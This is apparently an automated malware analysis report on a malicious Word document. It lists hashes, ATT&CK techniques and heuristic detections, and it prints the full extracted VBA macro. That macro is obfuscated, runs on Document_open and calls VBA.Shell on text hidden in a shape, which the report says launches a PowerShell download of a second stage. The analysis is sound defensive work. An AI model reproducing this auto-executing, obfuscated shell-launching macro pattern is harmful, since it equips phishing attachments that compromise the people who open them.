Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 60c17dc600c05fc3…

MALICIOUS

Office (OLE)

77.1 KB Created: 2018-11-09 16:27:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: 37f94f0d42ea3bf1cdc8ba453e28a618 SHA-1: 9445476f4ddb4db0c041b73c76e5ffc356bc9fed SHA-256: 60c17dc600c05fc34a7ac198d6ae84f56c45f10dbddbb2f03420e7b0201d40f1
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains a VBA macro that executes a PowerShell command. The macro's Document_open subroutine calls VBA.Shell, which in turn executes a complex PowerShell command. This command appears to be designed to download and execute a second-stage payload from a URL embedded within the document's structure. The presence of the Shell() call and the reference to PowerShell strongly indicate malicious intent.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6745248-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6745248-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatNumber (wsYKbc + AlKHOq / (ldFiE + NdCCq + jIFHRY + sbSYw))
TsljYzaW = VBA.Shell(Shapes(tECtFrb + zoDMZV + 1 + Uiwdud + EzuSFGh).TextFrame.TextRange.Text + TZAIkFE + KcVzTFcC, vumULbrzOLV)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1879 bytes
SHA-256: 7bed6af504472c1b82e2b1dd5a9c4bb9f6c219453b2a0707fb10eaf9f3334e1d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QhWFfwDG"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ORpUwLYzWU()
On Error Resume Next
Const vumULbrzOLV = 775018341 - 775018341
   FormatDateTime tUMCr + aIUIKi + pAjDQL + pQuVjT / qiXPZW + ZwnPz + uFUAEb + bjXmQd - (QcZrT + ijdzs + MoQEtn + Sikvu / (IbVGG + wwznwW))
   FormatNumber aOLbXH + PDKfd + wLojhf + LwJcW + upMBU + zqsDXI
   FormatNumber (wsYKbc + AlKHOq / (ldFiE + NdCCq + jIFHRY + sbSYw))
TsljYzaW = VBA.Shell(Shapes(tECtFrb + zoDMZV + 1 + Uiwdud + EzuSFGh).TextFrame.TextRange.Text + TZAIkFE + KcVzTFcC, vumULbrzOLV)
End Function
Private Sub Document_open()
On Error Resume Next
   FormatDateTime kiDXjR + DBGww * CfZYUp + LNNwv * iIBszQ + Wzaan + iClCM + rXsjEd + lYQWVG + wnABIJ + jFDEwk + KIZKA
   TimeValue GZkXV + MnsWz + hobjDh + cLGaBO / HPrjiv + pwblo + jRlWz + fokjZ + (fuIqA + jJdKww + oESrp + uOiBLa)
   FormatNumber zzzaJ + AtjnJ * (GscGvq + jYraD + QNHio + DcLNmU - (rzjMXP + TWdUNK + ouzFWv + sztOs))
   TimeValue (Oviql + zQAMUL + ztknR + EOiNHP - qwzqz + SaFbwi + MnXull + YHzMG)
   FormatDateTime (srfhW + MHAQJP + swuSmJ + SRrncW - Aiznk + SaiZtb + PFmGk + zTcNj - (wHvaAs + AWMYB + ZPWRNV + KFaMf))
   FormatDateTime lYwPG + sGcEUL + qCjuC + KRpfG - (maQqMU + YkBbF + DCnzbA + YkTGqQ)
   TimeValue tuwtqX + FcQPj / njpai + zJWSN + bTCHKz + WJipEh
ORpUwLYzWU
   FormatNumber zLjLQL + AifMPw + WciPOD + wSQUN * IuksP + PMLjCO + iBcin + XaHMVS - (SSzsSr + DcGtn + jjXLtj + wVPVo - (nphBhO + PNwNT + LKMGu + rqwoDw))
   TimeValue SAwDdE + DNVbZf + jWmJs + UpmPUm / mqAiEO + HOQsj + aHzqi + DiJZC
   FormatNumber pVcOh + rHDMMr / LGFRG + adDMsv + wjScQw + AYDfAj + sHWvk + IJwYrT
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.